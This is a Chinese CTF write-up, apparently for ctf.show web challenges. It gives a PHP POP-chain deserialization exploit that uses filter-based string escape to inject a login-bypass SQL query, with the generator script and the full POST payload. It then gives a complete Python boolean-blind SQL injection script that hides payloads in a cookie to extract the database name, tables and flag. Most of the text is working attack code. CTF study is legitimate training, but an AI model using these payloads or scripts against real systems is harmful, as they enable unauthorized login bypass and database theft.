$hostname ="127.0.0.1" ; public $dbuser ="noob123" ; public $dbpass ="noob123" ; public $database ="noob123" ; public $name ; public $password ; public $mysqli ; public $token ; public function __construct ( ) { $this ->name=$_POST ['username' ]; $this ->password=$_POST ['password' ]; $this ->token=$_SESSION ['token' ]; } public function login ($sql ) { $this ->mysqli=new mysqli ($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result =$this ->mysqli->prepare ($sql ); $result ->bind_param ('s' , $this ->name); $result ->execute (); $result ->bind_result ($idResult , $passwordResult ); $result ->fetch (); $result ->close (); if ($this ->token=='admin' ) { return $idResult ; } if (!$idResult ) { echo ('用户不存在!' ); return false ; } if (md5 ($this ->password)!==$passwordResult ) { echo ('密码错误!' ); return false ; } $_SESSION ['token' ]=$this ->name; return $idResult ; } public function update ($sql ) { } }
好吧,其实是在lib.php
中进行pop反序列化获取flag,下面来详细说明
从login函数分析可知,要想能成功返回(也就是登入成功),有两种方法,一就是token=admin,二是满足passwd的md5值等于数据库中的存储值
但是token是在方法二满足后才赋值的,所以还是要用方法二
注意到login函数接收一个参数$sql,这个是执行的sql语句,默认是 “select id,password from user where username=?”
,我们可以想办法让它等于 “select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?”
这样sql返回的passwd就是1的MD5值,同时我们让post的passwd等于1,不就满足条件二吗,而且条件二满足后,就会让session里的token=admin,再次登入就不会检查密码了。
下一步就是想办法传入这个参数并且执行login函数
观察可得update页面会调用user类的update()方法
... $users =new User ();$users ->update ();...
看到users类的update()方法
public function update ( ) { $Info =unserialize ($this ->getNewinfo ()); ... }
又跟进到getNewinfo()方法
public function getNewInfo ( ) { $age =$_POST ['age' ]; $nickname =$_POST ['nickname' ]; return safe (serialize (new Info ($age ,$nickname ))); }
分析可知这里接收两个参数age和nickname,然后以这两个为参数值构造一个info类,过滤后再进行序列化
跟进到info类
class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ($age ,$nickname ) { $this ->age=$age ; $this ->nickname=$nickname ; } public function __call ($name ,$argument ) { echo $this ->CtrlCase->login ($argument [0 ]); } }
可以发现__call函数,当调用info类中一个不存在的类时就会执行该魔术方法,执行输出当前类中的ctrlcase的login函数,并且将参数传递进去,这样我们就能够调用login函数了,同时$sql参数也由我们指定
但是在哪调用info类中的不存在函数,这里主要看user类的一个tosring方法
public function __toString ( ) { $this ->nickname->update ($this ->age); return "0-0" ; }
发现这里会调用nickname中的update函数,age作为参数,如果我们让nickname为info类,age等于我们想执行的语句,不就行了吗。
下一步时寻找在哪才能调用这个tostring方法,最后在UpdateHelper类中
Class UpdateHelper{ public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize ($newInfo ); $upDate =new dbCtrl (); } public function __destruct ( ) { echo $this ->$sql ; } }
这里可以看到echo了当前类中的$sql变量,我们让$sql等于user类即可
下面为反序列化构造方法
<?php class dbCtrl {public $name ="admin" ;public $password ="1" ;} class Info {public $age ;public $nickname ;public $CtrlCase ;} class User {public $age ="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?" ;public $nickname ;} Class UpdateHelper{ public $sql ;} $db =new dbCtrl ();$in =new Info ();$in ->CtrlCase=$db ;$user =new User ();$user ->nickname=$in ;$update =new UpdateHelper ();$update ->sql=$user ;echo serialize ($update );
但是如何传入这个序列化数据进行反序列化呢?由上面分析可知,源代码中会反序列化一个info类,但是那个info类我们只能传入两个参数,然后它两个参数来构造类并且反序列化。这里其实可以绕过,方法是利用反序列化字符串字符逃逸漏洞
我们让info三个参数(除了传入的两个参数,还有一个ctrlcase参数),其中一个为我们想要的序列化类即可(类中类也会一起序列化,反序列化会一起反序列化)。
注意替换后字符长度增加了2,那就涉及到字符逃逸了
function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace ($array ,'hacker' ,$parm ); }
最终脚本如下
<?php class dbCtrl { public $name ="admin" ; public $password ="1" ; } class Info { public $age ; public $nickname ; public $CtrlCase ; } class User { public $age ="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?" ; public $nickname ; } Class UpdateHelper{ public $sql ; } $db =new dbCtrl ();$in =new Info ();$in ->CtrlCase=$db ;$user =new User ();$user ->nickname=$in ;$update =new UpdateHelper ();$update ->sql=$user ;function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace ($array ,'hacker' ,$parm ); } $k =new Info ();$k ->age=18 ;$m =str_repeat ("into" ,146 );$k ->nickname=$m ."\";s:8:\"CtrlCase\";" .serialize ($update ).'}' ;echo ($k ->nickname);?>
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
看到10-0就是成功了,再用admin/1登录就能获得flag
还看了一点其他的解释如下,还是感觉有点晕,序列化多学学之后再回来看
整体的逻辑如下:
登录的时候用user.login,这里的参数无法控制,因此考虑直接从update.php下手
在update.php,会调用user类的update方法
调用getNewinfo方法,会有一个安全审计和序列化的Info类,后续可能会有字符串逃逸
Info类中的__call方法当CtrlCase为dbCtrl时,会触发登录函数,且可以自定义SQL语句($argument[0]即为变量name),当调用info类中一个不存在的类时就会执行该魔术方法
发现user类中的__toString方法中当nickname==Info可以触发Info类的update方法(不存在),因此需要把user当成字符串处理,同时Info.age会作为SQL查询语句
发现UpdateHelper中的__destruct可以触发,pop链条构造完毕
web15 Fishman(sql注入布尔盲注) 扫目录发现www.zip,得到其中的`member.php`源码如下
<?php if (!defined ('IN_CRONLITE' )) exit ();$islogin = 0 ;if (isset ($_COOKIE ["islogin" ])) { if ($_COOKIE ["login_data" ]) { $login_data = json_decode ($_COOKIE ['login_data' ], true ); $admin_user = $login_data ['admin_user' ]; $udata = $DB ->get_row ("SELECT * FROM fish_admin WHERE username='$admin_user ' limit 1" ); if ($udata ['username' ] == '' ) { setcookie ("islogin" , "" , time () - 604800 ); setcookie ("login_data" , "" , time () - 604800 ); } $admin_pass = sha1 ($udata ['password' ] . LOGIN_KEY); if ($admin_pass == $login_data ['admin_pass' ]) { $islogin = 1 ; } else { setcookie ("islogin" , "" , time () - 604800 ); setcookie ("login_data" , "" , time () - 604800 ); } } } if (isset ($_SESSION ['islogin' ])) { if ($_SESSION ["admin_user" ]) { $admin_user = base64_decode ($_SESSION ['admin_user' ]); $udata = $DB ->get_row ("SELECT * FROM fish_admin WHERE username='$admin_user ' limit 1" ); $admin_pass = sha1 ($udata ['password' ] . LOGIN_KEY); if ($admin_pass == $_SESSION ["admin_pass" ]) { $islogin = 1 ; } } } ?>
当查询返回的用户名为空且密码错误时,进行四次setcookie 操作 当查询返回的用户名为不为空时,进行两次setcookie 操作,就可以利用这个实现布尔盲注了
直接给个脚本
import requestsurl = "http://95230838-ad30-4ce7-a258-bd138252d7a9.challenge.ctf.show/admin" def tamper (payload ): payload = payload.lower() payload = payload.replace('u' , '\\u0075' ) payload = payload.replace('\'' , '\\u0027' ) payload = payload.replace('o' , '\\u006f' ) payload = payload.replace('i' , '\\u0069' ) payload = payload.replace('"' , '\\u0022' ) payload = payload.replace(' ' , '\\u0020' ) payload = payload.replace('s' , '\\u0073' ) payload = payload.replace('#' , '\\u0023' ) payload = payload.replace('>' , '\\u003e' ) payload = payload.replace('<' , '\\u003c' ) payload = payload.replace('-' , '\\u002d' ) payload = payload.replace('=' , '\\u003d' ) payload = payload.replace('f1a9' , 'F1a9' ) payload = payload.replace('f1' , 'F1' ) return payload def databaseName_len (): print ("start get database name length..." ) for l in range (0 ,45 ): payload = "1' or (length(database())=" + str (l+1 ) + ")#" print (payload) payload = tamper(payload) print (payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload print (tmpCookie) exit() headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 1 )): print ('get db length = ' + str (l).lower()) break def get_databaseName (): flag = '' for j in range (0 , 15 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (database()) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('databasename = ' + flag.lower()) break def get_tableName (): flag = '' for j in range (0 , 30 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('tablename = ' + flag.lower()) break def get_ColumnName (): flag = '' for j in range (0 , 10 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('column name = ' + flag.lower()) break def get_value (): flag = '' for j in range (0 , 50 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('flag = ' + flag.lower()) break print ("start database sql injection..." )get_value()